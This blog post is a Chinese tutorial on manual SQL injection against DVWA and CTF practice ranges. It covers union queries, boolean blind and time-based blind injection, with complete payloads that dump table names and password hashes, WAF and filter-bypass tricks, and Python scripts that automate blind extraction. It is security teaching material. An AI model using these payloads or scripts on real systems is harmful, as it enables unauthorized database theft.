news 2026/9/16 6:02:08

手工SQL注入实战:联合查询、布尔盲注与时间盲注全解析

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
手工SQL注入实战:联合查询、布尔盲注与时间盲注全解析

SQL注入这个东西,圈子里聊了十几年,热度一点没降。不管是CTF比赛、众测项目还是渗透测试,注入永远是Web漏洞里的"常青树"。很多人一上来就挂sqlmap跑,跑出来一个库就算完事,但一旦目标做了简单的参数加密、WAF拦截或者语句过滤,工具就抓瞎了。所以我一直觉得,手工注入是必须练的基本功,尤其联合查询、布尔盲注、时间盲注这三板斧,思路完全不一样,但核心逻辑是相通的:理解数据库到底在被你操纵着做什么。

这篇博文会把三种最典型的手工注入从头到尾捋一遍,从原理到实操、从函数选择到脚本辅助,全程基于DVWA和CTFHub这类靶场环境复现,也会穿插一些我在实际测试里踩过的坑,比如locate()函数在MySQL不同写法下的隐式转换问题、--注释符带不带空格导致的报错差异。适合正在学Web安全的新手、准备CTF比赛的学生,以及想把注入原理吃透的开发者。

1. 内容整体设计与思路拆解

1.1 为什么现在还要埋头学手工注入

很多人在入门阶段第一个接触的SQL注入工具就是sqlmap,-u加个URL,--dbs一把梭,看起来效率拉满。但真实业务场景里,sqlmap挂掉的概率比很多人想象中高得多。比如目标站点把参数做了AES加密,或者用了replace()把关键字过滤掉,甚至只是简单加了个Web应用防火墙(WAF),sqlmap不动手动调payload很多情况下就跑不通。

更重要的是,工具不会告诉你SQL注入到底是怎么发生的。你拿到一个数据库,不知道它是怎么被"拼接"出来的,遇到一个报错不知道该去看哪一层逻辑,那和开盲盒没什么区别。手工注入的意义在于,每一次构造语句都是在跟数据库进行一次"对话",你会清楚地感知到:哪个函数在何时执行、哪段查询被闭合了、注释符到底注释掉了什么。

这也是为什么CTF比赛里SQL注入题型永远不会消失。CTFHub、CTFShow、n1book这些平台的题目,核心就是在考察选手对注入语句的掌控力。比赛里经常出现过滤空格、过滤关键字、内联注释绕过这类变种,如果你只会跑工具,第一题就卡死了。所以这篇博文拿靶场来打底,把联合查询、布尔盲注、时间盲注的手工过程完整复现出来,每一步的"为什么"都写明白,这样你在遇到真实目标时,才知道怎么有针对性地调整payload。

1.2 靶场选型与本地环境搭建

手工注入练习最怕的是没有合法目标,所以本地搭一套靶场是绕不开的第一步。目前主流的入门靶场有这么几个,我按推荐顺序整理一下:

靶场特点适合阶段
DVWA(Damn Vulnerable Web Application)老牌PHP靶场,漏洞类型全面,有Low/Medium/High/Impossible四个等级新手入门首选,SQL注入、XSS、文件包含一条龙
Pikachu中文靶场,案例贴近国内教学体系,覆盖34类漏洞新手熟悉漏洞类型、做课程作业
SQLi-Labs专门为SQL注入设计的关卡式靶场,从GET到POST到盲注全都有想系统练SQL注入关卡的选手
CTFHub/CTFShow在线CTF平台,技能树直接对应比赛题型CTF选手打比赛前的专项训练

我自己建议的搭配是:本地用phpStudy搭一套DVWA或SQLi-Labs,线上再用CTFHub的Web入门技能树做补充。本地靶场的好处是可以开着调试模式看SQL语句真实执行结果,线上平台的好处是题目类型更接近真实环境,还经常有过滤绕过的变种。

环境搭建就三步:装一个phpStudy(Apache+MySQL+PHP)、把DVWA解压进www目录、按提示创建数据库并登录,默认账号密码admin/password。DVWA里把Security Level切到Low,这就是我们手工注入的主战场。同时你还需要一个可以手动改包的HTTP工具,Burp Suite是标配,实在不想装的话用浏览器开发者工具也能凑合,但效率会打折。

2. 核心细节解析与实操要点

2.1 判断注入点:先搞清楚数据是怎么拼进SQL语句的

学SQL注入最先要养成的习惯是:看到一个参数,先问它后端是怎么处理这个值的。所有注入手法都源自同一个根因——开发者把用户输入直接拼接进了SQL语句,没有做参数化查询。比如登录场景,后端代码可能是这样写的:

$sql = "SELECT * FROM users WHERE user_id = '" . $_GET['id'] . "'";

这一行代码决定了你在参数里输入的任何内容,都会被当成SQL语句的一部分去执行。所以判断注入点的第一步,就是看你的输入能不能改变原有的SQL语句结构。最经典的试探方法是单引号报错法,直接在参数后面加一个单引号,比如?id=1'。如果页面报错,说明单引号被拼进了SQL语句并破坏了原有语法,那大概率注入点就存在。如果页面正常显示或者把单引号过滤了,再去试其他类型的注入。

另一个更温和的试探方法是逻辑判断法,也就是构造and 1=1and 1=2看页面变化。假设原始SQL是SELECT * FROM users WHERE id = 1,你输入1 and 1=1,整个查询还是成立的,页面正常;输入1 and 1=2,条件为假,查不到数据,页面就空了。两次结果不一样,就说明你输入的and 1=1确实参与到了SQL条件判断里。

这里要特别注意数字型和字符型的区别。数字型注入的URL通常是?id=1这种,后端参数直接拼进数值字段,不需要考虑引号闭合;字符型注入则是?name='admin'这种,参数被引号包着,你输入的内容要先把引号闭合掉,比如' or '1'='1,才能打破原有结构。怎么区分?简单,试单引号报错时,如果报错信息里能看到SQL语句尾部的引号位置,就能判断出类型;或者用1 and 1=1,如果加不加引号都生效,多半是有引号的字符型,需要调整闭合方式。

2.2 过滤与绕过的底层逻辑:内联注释、等价替代和编码

新手练注入的时候最容易懵的一个环节是:明明payload在本地靶场能用,换一个题就报错。绝大多数原因不是你不懂注入,而是题目做了过滤。常见的过滤手段和对应思路,其实有一套规律可循。

MySQL的内联注释/*! ... */是一个非常高价值的绕过点。它的原理是:MySQL解析器默认会执行/*!内部的SQL语句,但普通字符串过滤器只会把它当成注释处理。所以当题目过滤了UNION关键字时,写上/*!UNION*/就能在不触发关键字匹配的情况下被MySQL正常解析。这条在CTF里特别常见,CTFShow的Web入门里就有专门考察内联注释的题。

还有一类常见过滤是replace(),它的逻辑是把危险关键字替换成空字符串。绕过思路也很经典:既然select会被替换为空,那就构造sselectelect,第一次替换把中间的select吃掉,剩下的还是select。类似的思路还可以配合大小写、双写、/**/注释符分割来用。

另外一个经常被忽略的坑locate()函数。MySQL的locate(1,1)locate('1','1')结果一样,很多人以为是同一个东西,但实际原因是MySQL做了隐式类型转换,数字1被转成了字符串'1'。这在布尔盲注里判断返回真/假时几乎不产生差异。但如果题目严格做了类型校验,你会发现locate(1,1)正常而locate('1','1')报错,这其实是触发了严格SQL模式或者某个过滤机制。遇到这种场景,优先把所有字符串参数都显式加上引号,避免依赖隐式转换。

3. 实操过程与核心环节实现

3.1 联合查询手工复现全流程:从列数判断到数据脱库

联合查询注入的核心前提是页面上有位置直接展示数据库查询结果。只要目标页面的SQL查询结果能回显到前端,就可以通过UNION SELECT把我们要的数据拼到正常结果后面一起显示出来。在实操前,建议先打开Burp Suite代理,或者用浏览器F12的Network面板观察请求结构。

第一步:判断列数。UNION SELECT有个硬性要求:前后两个查询的列数必须一致,否则数据库直接报错。所以先要探出目标查询有几个字段。最常用的方法是ORDER BY,因为排序子句不需要和SELECT列表对齐,只要排序的数字不超过列数就不会报错,页面正常显示;一旦超出列数,就会报错。所以按1, 2, 3逐个试:

GET /vulnerabilities/sqli/?id=1' ORDER BY 3--+ HTTP/1.1

在DVWA Low级别里,id=1' ORDER BY 3--+返回正常,说明至少3列;id=1' ORDER BY 4--+报错,说明总共3列。这里--+的作用是注释掉SQL语句末尾可能存在的单引号或多余字符,+在URL里是空格的意思,保证--后面有空格,MySQL的注释符--后面必须跟空白字符才生效,这个细节不记住很容易在后面的语句里翻车。

**第二步:确定回显位置。**列数知道后,用UNION SELECT 1,2,3去看页面哪些位置会显示数字:

GET /vulnerabilities/sqli/?id=1' UNION SELECT 1,2,3--+ HTTP/1.1

页面里通常会显示ID: 1First name: 2Surname: 3这样的输出,说明第2列和第3列是回显位,我们可以在这两列放自定义查询。

**第三步:获取数据库信息。**先拿版本、当前用户、当前数据库:

GET /vulnerabilities/sqli/?id=1' UNION SELECT 1,database(),version()--+ HTTP/1.1

DVWA里会看到First name: dvwaSurname: 8.0.25之类的信息。

**第四步:拿表名。**查所有表,information_schema.tables是MySQL的元数据库,记录着所有库、表、字段的结构信息:

GET /vulnerabilities/sqli/?id=1' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema='dvwa'--+ HTTP/1.1

group_concat()可以把多行结果合并成一行,方便在回显位输出。DVWA里能看到guestbook,users两张表。

**第五步:拿字段名。**目标锁定users表:

GET /vulnerabilities/sqli/?id=1' UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_schema='dvwa' AND table_name='users'--+ HTTP/1.1

可以看到user_id,first_name,last_name,user,password,avatar,last_login,failed_login等字段。

**第六步:拖数据。**用户名和密码哈希一起拉出来:

GET /vulnerabilities/sqli/?id=1' UNION SELECT 1,group_concat(user),group_concat(password),3 FROM users--+ HTTP/1.1

这样就完成了从判断注入点到数据获取的完整链路。整个过程的核心思维是:判断列数 -> 找显示位 -> 查库 -> 查表 -> 查字段 -> 查数据。这个流程在CTF里能解决八成以上的联合查询题目。

3.2 布尔盲注手工复现全流程:页面只有"真/假"也要把数据抠出来

布尔盲注的场景是:页面有内容变化,但没有回显位置。你发id=1' and 1=1页面正常,发id=1' and 1=2页面空白,区别只有"有数据"和"没数据"。这种情况下,没法直接把联合查询的结果显示出来,只能靠一次次走"条件判断"来逐位读取数据。

**第一步:确认当前数据库长度。**先拿一个数据库名长度的测试,比如判断库名长度是否为4:

GET /vulnerabilities/sqli/?id=1' AND LENGTH(database())=4--+ HTTP/1.1

页面正常,说明数据库名长度确实是4。如果页面空白,就试=5=6,直到找到正确的长度。这个"试错"的过程就是盲注的节奏。

**第二步:逐字符猜解数据库名。**MySQL的substr()函数可以截取字符串,配合and逻辑来做单个字符判断。判断数据库名第一个字符是不是某个字符,标准语句是:

GET /vulnerabilities/sqli/?id=1' AND SUBSTR(database(),1,1)='d'--+ HTTP/1.1

如果页面正常,第一位是d;如果空白,就继续试abc... 直到命中。第二位就改成SUBSTR(database(),2,1),以此类推。手工试字母很累,实际可以先用ascii()判断字符的ASCII码范围,比如判断第一位ASCII是否大于100:

GET /vulnerabilities/sqli/?id=1' AND ASCII(SUBSTR(database(),1,1))>100--+ HTTP/1.1

利用二分法,先用>100缩小范围,再>110>115这样逼近准确值,比一个一个字母试要高效得多。

**第三步:扩展查询面。**拿到了库名之后,用同样的substr()方法去猜表名和字段名。比如判断当前库里是否存在users表,可以构造一个存在性查询:

GET /vulnerabilities/sqli/?id=1' AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=database() AND table_name='users')>0--+ HTTP/1.1

如果页面正常,说明users表存在。接下来逐位猜表名里的每个字符,和前面逻辑完全一样。

布尔盲注的瓶颈在效率,手工逐字符猜确实慢,但理解原理之后可以靠脚本提速。实际测试里我一般会写一个Python脚本,跑字典自动二分:

import requests url = "http://127.0.0.1/vulnerabilities/sqli/" cookies = {"PHPSESSID": "your_session_id", "security": "low"} def blind(condition): payload = f"1' AND {condition}--+" r = requests.get(url, params={"id": payload}, cookies=cookies) return "First name" in r.text def get_length(expr): for n in range(1, 64): if blind(f"LENGTH({expr})={n}"): return n return 0 def get_char(expr, index): for code in range(32, 127): if blind(f"ASCII(SUBSTR({expr},{index},1))={code}"): return chr(code) return "?" def get_string(expr): length = get_length(expr) result = "" for i in range(1, length + 1): result += get_char(expr, i) return result print(get_string("database()"))

这个脚本的逻辑和手工人肉判断一模一样,只是把二分法换成了全ASCII遍历。实测DVWA跑库名4个字符几乎秒出,跑表名字段名也很快。建议把这个脚本扩展一下,加入二分查找,速率能再快几倍。

核心提示:布尔盲注有一个很容易忽略的坑,判断条件时前端返回的"正常"和"空白"可能因为页面缓存或者延迟导致误判,尤其是网络环境差的时候。我通常会给请求设置cache-control禁用缓存,同时每次判断之间加一个很短的时间间隔,避免被WAF或服务端限流误伤。

3.3 时间盲注手工复现全流程:页面完全没提示,靠延迟"打电报"

有些注入点比布尔盲注还狠,不管条件真还是假,页面内容完全一样,只有数据库内部执行时间不一样。这种情况只能用时间盲注,核心是利用sleep()函数人为制造延迟,通过响应时间判断条件真假。

**第一步:确认延时注入点存在。**在参数后拼接:

GET /vulnerabilities/sqli/?id=1' AND SLEEP(5)--+ HTTP/1.1

如果页面转圈了5秒才返回,说明sleep(5)被执行了,时间盲注可用。

第二步:用if()把条件和延时绑定。if(condition, sleep(5), 0)的意思是:条件为真时睡5秒,为假时立即返回。比如判断数据库名长度是否为4:

GET /vulnerabilities/sqli/?id=1' AND IF(LENGTH(database())=4,SLEEP(5),0)--+ HTTP/1.1

如果响应耗时5秒,说明长度为4;如果瞬间返回,说明不是4。同理,逐字符判断可以这样写:

GET /vulnerabilities/sqli/?id=1' AND IF(ASCII(SUBSTR(database(),1,1))>100,SLEEP(5),0)--+ HTTP/1.1

**第三步:注意benchmark()备选方案。**有些数据库环境里sleep()被禁用,或者题目明确过滤了sleep,可以换成BENCHMARK(10000000, MD5('test'))这种高CPU消耗函数。BENCHMARK用于重复执行一个表达式,次数足够多时响应就会变慢。不过它比sleep()更依赖服务器性能,建议先小次数试一下,比如BENCHMARK(1000000, MD5('a')),如果延迟明显再逐步加大,免得把靶场拖崩。

**第四步:脚本化提速。**时间盲注无论是手工还是脚本,都比布尔盲注更慢,因为每次判断都至少要等一个sleep周期。为了让等待时间可控,我把sleep时间设置为2秒,配合二分法,这样每个字符平均6次请求、12秒左右就能出来。实测下来只要网络稳定,效率不算差。

import requests import time url = "http://127.0.0.1/vulnerabilities/sqli/" cookies = {"PHPSESSID": "your_session_id", "security": "low"} def time_blind(condition, sleep_time=2): payload = f"1' AND IF({condition},SLEEP({sleep_time}),0)--+" start = time.time() requests.get(url, params={"id": payload}, cookies=cookies) return time.time() - start > sleep_time * 0.8 def get_char(expr, index): left, right = 32, 127 while left < right: mid = (left + right) // 2 if time_blind(f"ASCII(SUBSTR({expr},{index},1))>{mid}"): left = mid + 1 else: right = mid return chr(left) print(get_char("database()", 1))

这个脚本用二分法,每次条件判断通过响应时间是否超过1.6秒来区分真假。边界值设置成0.8 * sleep_time是为了规避网络抖动,比如明明条件为真但响应只有1.5秒,那就可能被误判为假。实际使用时要根据网络情况动态调整这个比例,我一般取0.8到0.9之间。

3.4 快速总结三种注入的适用场景对比

三种手工注入方式其实覆盖了三种不同的前端反馈场景,实际测试中应该按照"反馈程度"从高到低来选型:

注入类型前端反馈核心判断依据典型函数效率
联合查询有回显位置数据直接显示在页面UNION SELECTdatabase()group_concat()极高,一次拿全
布尔盲注页面有真/假差异条件成立是否正常显示andsubstr()ascii()length()中,逐字符判断
时间盲注页面无任何变化每次请求响应时间长短sleep()if()benchmark()低,逐字符且等待延迟

在CTF题目里,判断用哪种注入方式本身就是一个考点。看到页面有列表型输出,优先试联合查询;页面只有"查询成功/失败"这种动静,走布尔盲注;页面完全死水一潭,只能上时间盲注。

4. 常见问题与排查技巧实录

4.1 手工注入高频报错排查表

实操过程中新手最容易踩的坑,往往不是注入思路不对,而是栽在一些非常细的语法和编码细节上。我把这些年遇到的高频问题整理成了一张表,你在复现时遇到报错可以直接对照排查。

症状可能原因排查思路
--注释后依然报错MySQL注释符--后必须有空格--+--%20,不要用单独的--
UNION SELECT报列数不匹配前后查询列数不一致先用ORDER BY确认目标查询列数
页面显示正常但拿不到数据参数被过滤或没有回显位检查union/select是否被替换,改用盲注
sleep()无延迟sleep被过滤或使用错误函数benchmark或大小写变体
单引号被转义程序对引号做了addslashes()或类似处理尝试宽字节注入或寻找其他闭合方式
浏览器自动解码导致语句异常前端JS做了过滤或输入限制用Burp Suite改包绕过前端校验
布尔盲注判断结果不稳定页面内容存在动态部分导致误判First name这类固定关键字判断,不要依赖整个页面
时间盲注一直判断为真响应时间阈值设置不合理把阈值调整为sleep_time * 0.8并多次请求对比

这里面的高频重灾区是注释符。很多人明明语句写得没问题,结果在URL里写--后面没加空格,MySQL直接报语法错误;又或者在GET请求里没把空格编码成+%20,导致注释符直接失效。这个坑我每次讲课都会强调,但每次都有人踩。

4.2 一套我自己一直在用的手工测试顺序

作为一个从手工注入练起来的老兵,我总结了一套固定的测试路径,在打靶场和实际授权项目中都验证过,分享出来供你参考。

第一步,从头到尾观察目标页面,先正常点击一遍,把动态参数全部收集起来,比如iduser_idpagesearch这类URL参数,以及POST表单里的usernamepassword。第二步,每个参数都先跑一遍单引号和and 1=1/and 1=2的组合,判断注入点是否存在并确定类型。第三步,根据回显情况选择联合查询还是盲注。有列表回显优先联合查询,没有回显但有真假差异走布尔盲注,什么差异都没有才上时间盲注。第四步,在靶场或者授权测试时,每完成一个步骤就记录当前payload,方便回溯。

这个顺序之所以推荐,是因为它把"最小成本原则"贯彻到了每一步。联合查询一次就能拿全量数据,是性价比最高的方式;布尔盲注只是慢一点但反馈直接;时间盲注最慢也最容易受网络干扰,所以一般放最后尝试。如果你一上来就对着参数灌时间盲注,那不仅效率低,还可能因为误判折腾半天。

4.3 关于手工注入的边界意识

最后多说一句,安全测试的边界一定要守住。这套手工复现流程适用于DVWA、Pikachu、SQLi-Labs、CTFHub、CTFShow这类靶场环境,以及你获得明确授权的测试项目。SQL注入的破坏力很强,一条UNION SELECT就能把整库拖走,真实系统里的数据一旦泄露会造成严重后果。所以练手一定要在合规环境里练,千万不要拿未授权的网站当靶子。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/9/16 6:01:28

SpyGlass Lint脚本化指南:RTL静态检查与违规处理实战

1. 背景&#xff1a;lint脚本在数字流程里到底解决什么问题先交代一下我为什么会对“spyglass lint脚本”这种不起眼的题目专门写一篇东西。SpyGlass这个工具&#xff0c;做数字IC前端的人应该都不陌生&#xff0c;Synopsys家的静态检查工具&#xff0c;原来Atrenta的招牌产品&…

作者头像 李华
网站建设 2026/9/16 6:00:58

XSS靶场训练:从基础到高级漏洞攻防实战

1. 为什么需要XSS靶场训练&#xff1f;在Web安全领域&#xff0c;跨站脚本攻击&#xff08;XSS&#xff09;长期位居OWASP Top 10威胁榜单。根据Verizon《2023年数据泄露调查报告》&#xff0c;XSS漏洞在Web应用攻击中占比高达23%&#xff0c;是渗透测试中最常遇到的漏洞类型之…

作者头像 李华
网站建设 2026/9/16 5:59:57

AI Agent协议工程实战:MCP、ACP与AG-UI落地指南

1. 为什么“AI Agent全景地图”这个词正在被滥用——从热搜词反推真实技术水位你刷到过多少次“2026年AI Agent全景图”&#xff1f;标题里带着“天花板”“终极形态”“一文看懂”的文章&#xff0c;点进去不是九宫格贴图就是五层金字塔模型&#xff0c;配色赛过PPT大赛&#…

作者头像 李华
网站建设 2026/9/16 5:57:42

agent-skills:智能体可复用能力模块化设计范式

1. “agent-skills”不是库名&#xff0c;而是一套可复用的智能体能力设计范式刚看到这个标题时&#xff0c;我下意识去 npm 搜了agent-skills——结果是空的。GitHub 上也查不到同名开源项目。这让我立刻意识到&#xff1a;它根本不是某个现成的 npm 包&#xff0c;而是一个工…

作者头像 李华
网站建设 2026/9/16 5:56:36

麒麟V10 ARM架构内网环境配置本地离线yum源全攻略

装机时最烦什么&#xff1f;不是系统装不上&#xff0c;而是装完之后要用软件&#xff0c;发现yum源连不上外网&#xff0c;或者内网环境压根就没外网权限。尤其是麒麟V10&#xff08;ARM架构&#xff09;这种国产化环境&#xff0c;生产环境多数是隔离网&#xff0c;身边没有U…

作者头像 李华